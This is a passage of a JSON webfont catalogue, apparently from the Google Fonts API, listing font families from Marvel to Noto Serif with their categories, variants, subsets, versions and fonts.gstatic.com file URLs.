   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/marvel/v6/Fg1dO8tWVb-MlyqhsbXEkg.ttf",
    "italic": "http://fonts.gstatic.com/s/marvel/v6/HzyjFB-oR5usrc7Lxz9g8w.ttf",
    "700": "http://fonts.gstatic.com/s/marvel/v6/WrHDBL1RupWGo2UcdgxB3Q.ttf",
    "700italic": "http://fonts.gstatic.com/s/marvel/v6/Gzf5NT09Y6xskdQRj2kz1qCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mate",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mate/v5/ooFviPcJ6hZP5bAE71Cawg.ttf",
    "italic": "http://fonts.gstatic.com/s/mate/v5/5XwW6_cbisGvCX5qmNiqfA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mate SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/matesc/v5/-YkIT2TZoPZF6pawKzDpWw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Maven Pro",
   "category": "sans-serif",
   "variants": [
    "regular",
    "500",
    "700",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mavenpro/v7/sqPJIFG4gqsjl-0q_46Gbw.ttf",
    "500": "http://fonts.gstatic.com/s/mavenpro/v7/SQVfzoJBbj9t3aVcmbspRi3USBnSvpkopQaUR-2r7iU.ttf",
    "700": "http://fonts.gstatic.com/s/mavenpro/v7/uDssvmXgp7Nj3i336k_dSi3USBnSvpkopQaUR-2r7iU.ttf",
    "900": "http://fonts.gstatic.com/s/mavenpro/v7/-91TwiFzqeL1F7Kh91APwS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "McLaren",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mclaren/v4/OprvTGxaiINBKW_1_U0eoQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Meddon",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/meddon/v7/f8zJO98uu2EtSj9p7ci9RA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "MedievalSharp",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/medievalsharp/v8/85X_PjV6tftJ0-rX7KYQkOe45sJkivqprK7VkUlzfg0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Medula One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/medulaone/v6/AasPgDQak81dsTGQHc5zUPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Megrim",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/megrim/v7/e-9jVUC9lv1zxaFQARuftw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Meie Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/meiescript/v4/oTIWE5MmPye-rCyVp_6KEqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Merienda",
   "category": "handwriting",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/merienda/v4/MYY6Og1qZlOQtPW2G95Y3A.ttf",
    "700": "http://fonts.gstatic.com/s/merienda/v4/GlwcvRLlgiVE2MBFQ4r0sKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Merienda One",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/meriendaone/v7/bCA-uDdUx6nTO8SjzCLXvS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Merriweather",
   "category": "serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/merriweather/v8/ZvcMqxEwPfh2qDWBPxn6nqcQoVhARpoaILP7amxE_8g.ttf",
    "300italic": "http://fonts.gstatic.com/s/merriweather/v8/EYh7Vl4ywhowqULgRdYwICna0FLWfcB-J_SAYmcAXaI.ttf",
    "regular": "http://fonts.gstatic.com/s/merriweather/v8/RFda8w1V0eDZheqfcyQ4EC3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/merriweather/v8/So5lHxHT37p2SS4-t60SlPMZXuCXbOrAvx5R0IT5Oyo.ttf",
    "700": "http://fonts.gstatic.com/s/merriweather/v8/ZvcMqxEwPfh2qDWBPxn6nkD2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/merriweather/v8/EYh7Vl4ywhowqULgRdYwIPAs9-1nE9qOqhChW0m4nDE.ttf",
    "900": "http://fonts.gstatic.com/s/merriweather/v8/ZvcMqxEwPfh2qDWBPxn6nqObDOjC3UL77puoeHsE3fw.ttf",
    "900italic": "http://fonts.gstatic.com/s/merriweather/v8/EYh7Vl4ywhowqULgRdYwIBd0_s6jQr9r5s5OZYvtzBY.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Merriweather Sans",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic",
    "800",
    "800italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/merriweathersans/v5/6LmGj5dOJopQKEkt88Gowan5N8K-_DP0e9e_v51obXQ.ttf",
    "300italic": "http://fonts.gstatic.com/s/merriweathersans/v5/nAqt4hiqwq3tzCecpgPmVdytE4nGXk2hYD5nJ740tBw.ttf",
    "regular": "http://fonts.gstatic.com/s/merriweathersans/v5/AKu1CjQ4qnV8MUltkAX3sOAj_ty82iuwwDTNEYXGiyQ.ttf",
    "italic": "http://fonts.gstatic.com/s/merriweathersans/v5/3Mz4hOHzs2npRMG3B1ascZ32VBCoA_HLsn85tSWZmdo.ttf",
    "700": "http://fonts.gstatic.com/s/merriweathersans/v5/6LmGj5dOJopQKEkt88GowbqxG25nQNOioCZSK4sU-CA.ttf",
    "700italic": "http://fonts.gstatic.com/s/merriweathersans/v5/nAqt4hiqwq3tzCecpgPmVbuqAJxizi8Dk_SK5et7kMg.ttf",
    "800": "http://fonts.gstatic.com/s/merriweathersans/v5/6LmGj5dOJopQKEkt88GowYufzO2zUYSj5LqoJ3UGkco.ttf",
    "800italic": "http://fonts.gstatic.com/s/merriweathersans/v5/nAqt4hiqwq3tzCecpgPmVdDmPrYMy3aZO4LmnZsxTQw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Metal",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/metal/v9/zA3UOP13ooQcxjv04BZX5g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Metal Mania",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/metalmania/v6/isriV_rAUgj6bPWPN6l9QKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Metamorphous",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/metamorphous/v6/wGqUKXRinIYggz-BTRU9ei3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Metrophobic",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/metrophobic/v6/SaglWZWCrrv_D17u1i4v_aCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Michroma",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/michroma/v7/0c2XrW81_QsiKV8T9thumA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Milonga",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/milonga/v4/dzNdIUSTGFmy2ahovDRcWg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Miltonian",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/miltonian/v8/Z4HrYZyqm0BnNNzcCUfzoQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Miltonian Tattoo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/miltoniantattoo/v9/1oU_8OGYwW46eh02YHydn2uk0YtI6thZkz1Hmh-odwg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Miniver",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/miniver/v5/4yTQohOH_cWKRS5laRFhYg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Miss Fajardose",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/missfajardose/v6/WcXjlQPKn6nBfr8LY3ktNu6rPKfVZo7L2bERcf0BDns.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Modern Antiqua",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/modernantiqua/v6/8qX_tr6Xzy4t9fvZDXPkh6rFJ4O13IHVxZbM6yoslpo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Molengo",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/molengo/v7/jcjgeGuzv83I55AzOTpXNQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Molle",
   "category": "handwriting",
   "variants": [
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "italic": "http://fonts.gstatic.com/s/molle/v4/9XTdCsjPXifLqo5et-YoGA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Monda",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/monda/v4/qFMHZ9zvR6B_gnoIgosPrw.ttf",
    "700": "http://fonts.gstatic.com/s/monda/v4/EVOzZUyc_j1w2GuTgTAW1g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Monofett",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/monofett/v6/C6K5L799Rgxzg2brgOaqAw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Monoton",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/monoton/v6/aCz8ja_bE4dg-7agSvExdw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Monsieur La Doulaise",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/monsieurladoulaise/v5/IMAdMj6Eq9jZ46CPctFtMKP61oAqTJXlx5ZVOBmcPdM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Montaga",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/montaga/v4/PwTwUboiD-M4-mFjZfJs2A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Montez",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/montez/v6/kx58rLOWQQLGFM4pDHv5Ng.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Montserrat",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/montserrat/v6/Kqy6-utIpx_30Xzecmeo8_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/montserrat/v6/IQHow_FEYlDC4Gzy_m8fcgJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Montserrat Alternates",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/montserratalternates/v4/z2n1Sjxk9souK3HCtdHuklPuEVRGaG9GCQnmM16YWq0.ttf",
    "700": "http://fonts.gstatic.com/s/montserratalternates/v4/YENqOGAVzwIHjYNjmKuAZpeqBKvsAhm-s2I4RVSXFfc.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Montserrat Subrayada",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/montserratsubrayada/v4/nzoCWCz0e9c7Mr2Gl8bbgrJymm6ilkk9f0nDA_sC_qk.ttf",
    "700": "http://fonts.gstatic.com/s/montserratsubrayada/v4/wf-IKpsHcfm0C9uaz9IeGJvEcF1LWArDbGWgKZSH9go.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Moul",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/moul/v8/Kb0ALQnfyXawP1a_P_gpTQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Moulpali",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/moulpali/v9/diD74BprGhmVkJoerKmrKA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mountains of Christmas",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mountainsofchristmas/v8/dVGBFPwd6G44IWDbQtPew2Auds3jz1Fxb61CgfaGDr4.ttf",
    "700": "http://fonts.gstatic.com/s/mountainsofchristmas/v8/PymufKtHszoLrY0uiAYKNM9cPTbSBTrQyTa5TWAe3vE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mouse Memoirs",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mousememoirs/v4/NBFaaJFux_j0AQbAsW3QeH8f0n03UdmQgF_CLvNR2vg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mr Bedfort",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mrbedfort/v5/81bGgHTRikLs_puEGshl7_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mr Dafoe",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mrdafoe/v5/s32Q1S6ZkT7EaX53mUirvQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mr De Haviland",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mrdehaviland/v5/fD8y4L6PJ4vqDk7z8Y8e27v4lrhng1lzu7-weKO6cw8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mrs Saint Delafield",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mrssaintdelafield/v4/vuWagfFT7bj9lFtZOFBwmjHMBelqWf3tJeGyts2SmKU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mrs Sheppards",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mrssheppards/v5/2WFsWMV3VUeCz6UVH7UjCn8f0n03UdmQgF_CLvNR2vg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Muli",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "300": "http://fonts.gstatic.com/s/muli/v7/VJw4F3ZHRAZ7Hmg3nQu5YQ.ttf",
    "300italic": "http://fonts.gstatic.com/s/muli/v7/s-NKMCru8HiyjEt0ZDoBoA.ttf",
    "regular": "http://fonts.gstatic.com/s/muli/v7/KJiP6KznxbALQgfJcDdPAw.ttf",
    "italic": "http://fonts.gstatic.com/s/muli/v7/Cg0K_IWANs9xkNoxV7H1_w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Mystery Quest",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/mysteryquest/v4/467jJvg0c7HgucvBB9PLDyeUSrabuTpOsMEiRLtKwk0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "NTR",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "telugu"
   ],
   "version": "v4",
   "lastModified": "2014-12-10",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ntr/v4/e7H4ZLtGfVOYyOupo6T12g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Neucha",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/neucha/v7/bijdhB-TzQdtpl0ykhGh4Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Neuton",
   "category": "serif",
   "variants": [
    "200",
    "300",
    "regular",
    "italic",
    "700",
    "800"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/neuton/v8/DA3Mkew3XqSkPpi1f4tJow.ttf",
    "300": "http://fonts.gstatic.com/s/neuton/v8/xrc_aZ2hx-gdeV0mlY8Vww.ttf",
    "regular": "http://fonts.gstatic.com/s/neuton/v8/9R-MGIOQUdjAVeB6nE6PcQ.ttf",
    "italic": "http://fonts.gstatic.com/s/neuton/v8/uVMT3JOB5BNFi3lgPp6kEg.ttf",
    "700": "http://fonts.gstatic.com/s/neuton/v8/gnWpkWY7DirkKiovncYrfg.ttf",
    "800": "http://fonts.gstatic.com/s/neuton/v8/XPzBQV4lY6enLxQG9cF1jw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "New Rocker",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/newrocker/v5/EFUWzHJedEkpW399zYOHofesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "News Cycle",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v12",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/newscycle/v12/xyMAr8VfiUzIOvS1abHJO_esZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/newscycle/v12/G28Ny31cr5orMqEQy6ljtwJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Niconne",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/niconne/v6/ZA-mFw2QNXodx5y7kfELBg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nixie One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/nixieone/v7/h6kQfmzm0Shdnp3eswRaqQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nobile",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/nobile/v7/lC_lPi1ddtN38iXTCRh6ow.ttf",
    "italic": "http://fonts.gstatic.com/s/nobile/v7/vGmrpKzWQQSrb-PR6FWBIA.ttf",
    "700": "http://fonts.gstatic.com/s/nobile/v7/9p6M-Yrg_r_QPmSD1skrOg.ttf",
    "700italic": "http://fonts.gstatic.com/s/nobile/v7/oQ1eYPaXV638N03KvsNvyKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nokora",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/nokora/v9/dRyz1JfnyKPNaRcBNX9F9A.ttf",
    "700": "http://fonts.gstatic.com/s/nokora/v9/QMqqa4QEOhQpiig3cAPmbQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Norican",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/norican/v4/SHnSqhYAWG5sZTWcPzEHig.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nosifer",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/nosifer/v5/7eJGoIuHRrtcG00j6CptSA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Nothing You Could Do",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/nothingyoucoulddo/v6/jpk1K3jbJoyoK0XKaSyQAf-TpkXjXYGWiJZAEtBRjPU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Noticia Text",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "vietnamese",
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/noticiatext/v6/wdyV6x3eKpdeUPQ7BJ5uUC3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/noticiatext/v6/dAuxVpkYE_Q_IwIm6elsKPMZXuCXbOrAvx5R0IT5Oyo.ttf",
    "700": "http://fonts.gstatic.com/s/noticiatext/v6/pEko-RqEtp45bE2P80AAKUD2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/noticiatext/v6/-rQ7V8ARjf28_b7kRa0JuvAs9-1nE9qOqhChW0m4nDE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Noto Sans",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic",
    "devanagari"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/notosans/v6/0Ue9FiUJwVhi4NGfHJS5uA.ttf",
    "italic": "http://fonts.gstatic.com/s/notosans/v6/dLcNKMgJ1H5RVoZFraDz0qCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/notosans/v6/PIbvSEyHEdL91QLOQRnZ1y3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/notosans/v6/9Z3uUWMRR7crzm1TjRicDne1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Noto Serif",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/notoserif/v4/zW6mc7bC1CWw8dH0yxY8JfesZW2xOQ-xsNqO47m55DA.ttf",
    "italic": "http://fonts.gstatic.com/s/notoserif/v4/HQXBIwLHsOJCNEQeX9kNzy3USBnSvpkopQaUR-2r7iU.ttf",
